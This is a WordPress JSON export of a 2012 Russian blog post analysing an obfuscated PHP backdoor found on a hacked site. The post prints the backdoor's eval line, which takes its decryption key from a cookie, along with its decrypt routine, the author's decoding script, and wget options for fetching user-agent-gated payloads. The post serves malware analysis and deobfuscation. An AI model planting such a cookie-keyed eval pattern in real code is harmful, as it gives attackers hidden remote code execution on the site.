{"id":1219,"date":"2012-02-06T03:09:26","date_gmt":"2012-02-06T01:09:26","guid":{"rendered":"http:\/\/netspider.com.ua\/?p=1219"},"modified":"2012-02-06T03:09:26","modified_gmt":"2012-02-06T01:09:26","slug":"skrytie-koda-metod-2","status":"publish","type":"post","link":"https:\/\/netspider.com.ua\/index.php\/2012\/02\/06\/skrytie-koda-metod-2\/","title":{"rendered":"\u0421\u043a\u0440\u044b\u0442\u0438\u0435 \u043a\u043e\u0434\u0430, \u043c\u0435\u0442\u043e\u0434 2"},"content":{"rendered":"<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434 \u0431\u044b\u043b \u0432\u044b\u0434\u0440\u0430\u043d \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 (\u0438\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u043e\u0432 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043a\u0438\u0434\u0441\u043e\u0432), \u0432 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u0431\u044b\u043b URL \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0430\u0439\u0442, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u043b\u0441\u044f \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430.<\/p>  <pre class=\"brush: php; auto-links: true; collapse: false; first-line: 1; gutter: true; html-script: false; light: false; ruler: false; smart-tabs: true; tab-size: 4; toolbar: true;\">@eval(decrypt(&quot;CODECODE==&quot;,$_COOKIE['HASH'])); exit; function decrypt($txt,$key){\n    $txt=base64_decode($txt); $res=&quot;&quot;;\n    for($i=0; $i&lt;strlen($txt); $i++){\n        $c=substr($txt,$i,1);\n        $kc=substr($key,($i%strlen($key))-1,1);\n        $c=chr(ord($c)-ord($kc));\n        $res.=$c;\n    }\n    return $res;<\/pre>\n\n<p>\u0420\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e, \u0445\u043e\u0442\u044f \u043d\u0430 \u0432\u0441\u043a\u0438\u0434\u043a\u0443 \u0441\u043b\u043e\u0436\u043d\u0435\u0435 \u0441\u043a\u0430\u0437\u0430\u0442\u044c\/\u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u0437\u0430 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439:<\/p>\n\n<pre class=\"brush: php; auto-links: true; collapse: false; first-line: 1; gutter: true; html-script: false; light: false; ruler: false; smart-tabs: true; tab-size: 4; toolbar: true;\">$text = decrypt( &quot;CODECODE==&quot;, &quot;HASH&quot; );\n\nfunction decrypt( $txt, $key ) {\n    $txt = base64_decode( $txt );\n    $res = &quot;&quot;;\n    for ($i = 0; $i &lt; strlen( $txt ); $i++) {\n        $c = substr( $txt, $i, 1 );\n        $kc = substr( $key, ($i % strlen( $key )) - 1, 1 );\n        $c = chr( ord( $c ) - ord( $kc ) );\n        $res .= $c;\n    }\n    return $res;\n}\n\n$fp = fopen( 'decoded.txt', 'w' );\nfwrite( $fp, $text );\nfclose( $fp );<\/pre>\n\n<p>HASH \u0431\u044b\u043b \u0432\u044b\u0434\u0440\u0430\u043d \u0438\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u041a\u0443\u043a\u0438\u0441\u0430, \u0430 \u0441\u0430\u043c \u043a\u043e\u0434 \u0431\u044b\u043b \u0432 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0412\u043f\u0435\u0440\u0432\u044b\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e, \u0447\u0442\u043e\u0431\u044b Cookie (\u043a\u0443\u043a\u0438, \u043f\u0435\u0447\u0435\u043d\u044c\u043a\u0438, \u043f\u0435\u0447\u0435\u043d\u044e\u0448\u043a\u0438) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439. \u0423\u043c\u043d\u043e, \u043d\u043e \u043d\u0435 \u0442\u0430\u043a \u0443\u0436 \u0441\u043b\u043e\u0436\u043d\u043e.<\/p>\n\n<p>\u0412\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043a\u0443\u0441\u043a\u0438 \u043a\u043e\u0434\u0430 \u043e\u0442\u0434\u0430\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0442\u0440\u043e\u043a User Agent \u0438\/\u0438\u043b\u0438 Referer, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430. Wget \u043b\u0435\u0433\u043a\u043e \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0438:<\/p>\n\n<p>-U agent-string\n  <br \/>&#8212;user-agent=agent-string\n\n  <br \/>&#8212;referer=url<\/p>","protected":false},"excerpt":{"rendered":"\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434 \u0431\u044b\u043b \u0432\u044b\u0434\u0440\u0430\u043d \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 (\u0438\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u043e\u0432 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043a\u0438\u0434\u0441\u043e\u0432), \u0432 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u0431\u044b\u043b URL \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0430\u0439\u0442, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u043b\u0441\u044f \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430. @eval(decrypt(&quot;CODECODE==&quot;,$_COOKIE[&#8216;HASH&#8217;])); exit; function decrypt($txt,$key){ $txt=base64_decode($txt); $res=&quot;&quot;; for($i=0; $i&lt;strlen($txt); $i++){ $c=substr($txt,$i,1); $kc=substr($key,($i%strlen($key))-1,1); $c=chr(ord($c)-ord($kc)); $res.=$c; } return $res; \u0420\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e, \u0445\u043e\u0442\u044f \u043d\u0430 \u0432\u0441\u043a\u0438\u0434\u043a\u0443 \u0441\u043b\u043e\u0436\u043d\u0435\u0435 \u0441\u043a\u0430\u0437\u0430\u0442\u044c\/\u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u0437\u0430 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439:\u2026 <span class=\"read-more\"><a href=\"https:\/\/netspider.com.ua\/index.php\/2012\/02\/06\/skrytie-koda-metod-2\/\">\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435 &raquo;<\/a><\/span>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[1575,1557,665,1568,674,1558,662,1559],"class_list":["post-1219","post","type-post","status-publish","format-standard","hentry","category-main","tag-deobfuscation","tag-obfuscation","tag-php","tag-deobfuskaciya","tag-kod","tag-obfuskaciya","tag-skriptyi","tag-shifrovanie"],"_links":{"self":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts\/1219","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/comments?post=1219"}],"version-history":[{"count":0,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts\/1219\/revisions"}],"wp:attachment":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/media?parent=1219"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/categories?post=1219"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/tags?post=1219"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}